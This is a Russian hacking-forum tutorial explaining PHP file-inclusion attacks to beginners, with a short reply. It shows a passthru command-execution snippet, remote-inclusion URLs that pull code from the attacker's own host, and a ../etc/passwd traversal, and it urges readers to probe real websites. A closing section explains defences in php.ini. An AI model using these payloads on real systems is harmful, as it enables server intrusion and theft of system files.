Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion

Показано с 1 по 2 из 2
  1. #1
    TopicStarter
    Аватар для Sler

    Статус
    Offline
    Регистрация
    22.06.2014
    Сообщений
    117
    Репутация
    27 + / -
    Другое

    PHP инклюдинг для новичков

    Сегодня я расскажу тебе о типе атаки под названием php including. Если ты хоть чуть-чуть знаешь буржуйский, то тебе не сложно будет догадаться о смысле этого словосочетания. Если же в аглицком ты не шаришь, то я тебе переведу =).


    Дословно - PHP включение. Т.е. включение в выполняемый код своего куска.

    Это возможно по тому что скрипт пхп выполнется непосредственно на сервере, соответственно, можно при благоприятных условиях заставить сервер выполнить свой код. Смысл атаки в следующем: имеется некий скрипт на пхп, то может быть что угодно, форум, гостевая книга, поисковик, просто движок сайта, это совершенно не играет роли. Главное, что этот скрипт не содержит проверки вводимых данных. Просто кодер поленился и не добавил ее туда, типа «Зачем еще пару лишних строчек писать? И так сойдет…». К чему такое наплевательское отношение может привести, я сейчас тебе покажу на простейшем примере.

    Давайте напишем маленький пхп скрипт:


    <?
    passthru($_GET[‘cmd’]);
    ?>
    Назовем его для примера bug.php и выложим на хостинг с поддержкой пхп. Теперь наберем в браузере:


    http://host.zone/bug.php?cmd=ls


    Вау! Что мы видим? Результат выполнения команды «ls» =) Вот такая вот «бага» в скрипте может привести к взлому сайта. А все из-за того что мы поленились выполнить проверку параметра $_GET[‘cmd’].


    Это был простейший пример чтобы продемонстрировать тебе смысл атаки типа пхп инклюдинг. На самом деле все обстоит несколько сложнее. Такого рода баг вы вряд ли встретите. Обычно в качестве параметра передают ссылку на другой скрипт, либо на какие-то другие данные. Но, что нам мешает вместо например


    http://host.zone/script.php?file=data


    Написать:


    http://host.zone/script.php?file=http://my_host.zone/.. ? =)


    Вот так-то, ты и можешь поиметь чей-то сервант.


    На этом собственно и все. Ты наверно часто встречал на сайтах типа [Только зарегистрированные могут видеть это. ] инфу об обнаружении возможности пхп инклюдинга в различных скриптах. Тебе конечно ни кто не мешает попытаться заюзать это дело и радоваться жизни. Но если ты настоящий хакер, а не простой скрипт кидис то ты все-таки дочитаешь эту статью до конца =).


    Использовать баги найденные другими – каждый дурак может, ты попробуй сам найти какую-нибудь. Для этого тебе надо скачать оригинал стандартного скрипта который используется на многих сайтах. Например, в свое время очень часто баги находили в известном форуме phpBB2, его можно совершенно бесплатно скачать с официального сайта проекта. Потом ты должен проанализировать код. Полностью разобраться в том как работает этот самый скрипт. Потом уже дело техники, найти функцию которая обрабатывает потенциально опасные данные и в перед =).

    Корни данного бага уходят в саму идею языка PHP. Этот язык создавался чтобы дать
    разработчикам максимально возможное пространство для маневра. Зайди на php.net
    и посмотри сколько в этом языке функций! Буквально на любой вкус. PHP дает
    разработчику шанс встроенными функциями решить такие вопросы, для решения
    которых в других языках приходится писать собственные библиотеки. Соответственно
    такая свобода не проходит даром. Например известная функция fopen.
    Она используется, как не сложно догадаться, для открытия файлов на чтение либо
    запись. Одна из полезных "фишек" данной функции - возможность использования
    в качестве путей к файлу url`ов. Т.е. функции совершенно без разницы что открываемый
    файл лежит совсем на другом сервере. С одной стороны очень удобно: можно без
    всяких извращений читать файлы по сети. Но с другой стороны если в твоей программе
    это не нужно, приходится заботиться о безопасности.


    На каком бы движке не был поднят твой сайт\форум\etc без запросов типа GET и POST
    там ни как не обойдется. Здесь-то и кроется опасность. Заменить данные в запросе
    типа GET вообще ничего не стоит. Для этого достаточно поправить строку браузера =).
    С запросом POST сложнее, но написать нужный скрипт - тоже не проблема для знающего
    человека.


    Как же злоумышленники находят потенциально уязвимые скрипты?

    Да очень просто.
    Надо просто в процессе серфинга интернета, не бездумно переходить со страницы
    на страницу, а внимательно смотреть какие данные и куда передаются.
    Попав на какой-нибудь интересный ресурс, надо просто постараться себе
    представить как же он работает? Угадаешь алгоритм работы скрипта - 50% дела.
    Для того чтобы скрипт проанализировать, необходимо банально пытаться подставить
    свои данные вместо тех что подставляет скрипт. Пример? Пожалуйста:
    Заходим на сайт, и видим в строке браузера нечто типа:


    http://site/index.php?page=news


    У меня например такая ссылка сразу же вызывает желание попробовать ее на пхп инклюд =)
    для этого закачиваем на хостинг без поддержки php (например newmail.ru или narod.ru)
    страницу со следующим содержимым:


    <?
    phpinfo();
    ?>


    Назовем ее test.php. Спросишь почему хостинг должен быть обязательно без PHP ?
    В ином случае, даже если инклюд сработает, то твой скрипт выполниться на твоем
    же хостинге а не на сервере жертвы. Теперь пробуем:


    http://site/index.php?page=http://my_hosting/test


    Вуаля! Мы видим в браузере результат выполнения команды на сервере жертвы =).


    Что же позволило нам предположить что тут возможен инклюд? Мы просто попытались
    представить себе алгоритм работы скрипта index.php. Скорее всего он примерно
    следующий:


    1. Получаем переменную page из GET
    2. Дописываем к ней ".php"
    3. Запускаем include() этой переменной.


    Исходя из этого можно предположить что в скрипте может и не быть проверки на
    удаленный путь. А это само по себе дает нам возможность произвести атаку.
    Ситуация что я описал очень банальна. Встретить такие уязвимости практически
    невозможно, потому что данный случай уже давно классика, и любой уважающий себя
    программист поставит защиту от такого вида атак.


    Пример 2


    Видим в браузере следующую строку:


    http://site/index.php?text=file.txt


    Пробуем подставить страницу со своего сайта:


    http://site/index.php?text=http://my_hosting/test.php


    Но тута нас ждет облом. Скрипт отказался выполняться и выдал нам ошибку.
    Скажу тебе по секрету, сообщения об ошибках - золотая жила для хакера. Очень
    помогает для выяснения алгоритмы работы вражеского скрипта. И что же мы видим
    в этом сообщении? Что-то типа:


    Warning: main(site/dir/http://my_hosting/test.php)
    [function.main]:
    failed to open stream: No such file or directory in
    /var/www/server/index.php on line 2


    О чем это говорит? Это говорит нам о том, что скрипт, перед тем как открыть
    файл, дописывает ПЕРЕД передаваемыми данными строку "site/dir/", что полностью
    меняет путь до файла. Что же нам тогда делать? Мы просто возьмем и пропишем:


    http://site/index.php?text=../../../../../etc/passwd


    Вот он, файл паролей сервера =) Как видишь, не плохо так же знать и ОС Linux =)


    Теперь давай поговорим с тобой о защите от такого вида атак.


    Во-первых: необходимо проверять все данные получаемые скриптом из вне. Если
    в них содержаться недопустимые символы и т.п. сразу выдавать ошибку. Надо
    иметь это ввиду при написании собственных движков. Очень полезно бывает
    в самом начале двига вписать проверку входных параметров на недопустимые значения.
    И в случае таковых выдавать сообщение об ошибке сразу же.


    Во-вторых. Разработчики PHP уже зарание позаботились о нас бедных пользователях
    реализовав некоторые методы защиты непосредственно в самом ядре PHP.
    Файл настроек php.ini - содержит очень много полезных настроек, но к сожалению
    админы и разработчики почему то в своем большинстве оставляют дефолтовые
    настройки, либо изменяют файл но незначительно. А зря. Между прочем там очень
    много полезных настроек. Приведу некоторые самые известные из них. Они помогут
    тебе значительно лучше обезопасить свою систему.


    1-е это конечно всем известный safe mode.

    Настройки этой группы позволяют ограничить доступ php-скриптов в системе.
    Можно задать корневую директорию, выше которой скрипт не сможет читать файлы.
    И пример 2 при таких настройках уже не работает.
    Советую детальнее изучить всю секцию safe mode файла php.ini

    и установить опции оптимальные для твоего сайта.


    2-е это опция disable_functions.

    Она позволяет указать список функций вызов которых будет невозможен.
    Например заблокировав функции shell_exec, exec, system,

    fopen, passthru, popen и т.п. мы лишим злоумышленника возможности выполнять
    системные команды и программы.


    3-е опция allow_url_fopen.

    Если ее установить в off, то функция fopen (если ты

    еще не забыл о ней писалось в самом начале) не сможет читать удаленные файлы.


    Есть еще много опций такого типа, но о конфигурации php.ini ты сможешь прочитать
    в любом хорошем учебнике по php. Другое дело что в большинстве своем хостеры
    не дают доступа к файлу настроек. Казалось бы мы тут пришли в тупик. Но
    есть такая полезная функция: set_include_path. Она позволяет указать
    аналогичный параметр в php.ini.


    Ну вообщем дерзай. Защищай свою систему, или ищи баги, как тебе больше нравится.
    Не обманешь судьбу и не купишь любовь
    Ни за жизнь, ни за смерть, ни за горсть серебра.
    И холодная сталь ляжет под ноги вновь
    Равновесием зла и добра.

  2. 2 пользователя(ей) сказали cпасибо:
    adminecusan
  3. #2
    Аватар для Suicidemouse

    Статус
    Offline
    Регистрация
    02.12.2013
    Сообщений
    351
    Репутация
    149 + / -
    Безопасность
    Начиная с 2001 не встречал не разу этот баг.
    «Вози кусты и героин, а то останешься рабом» © Буравчик

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  

Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.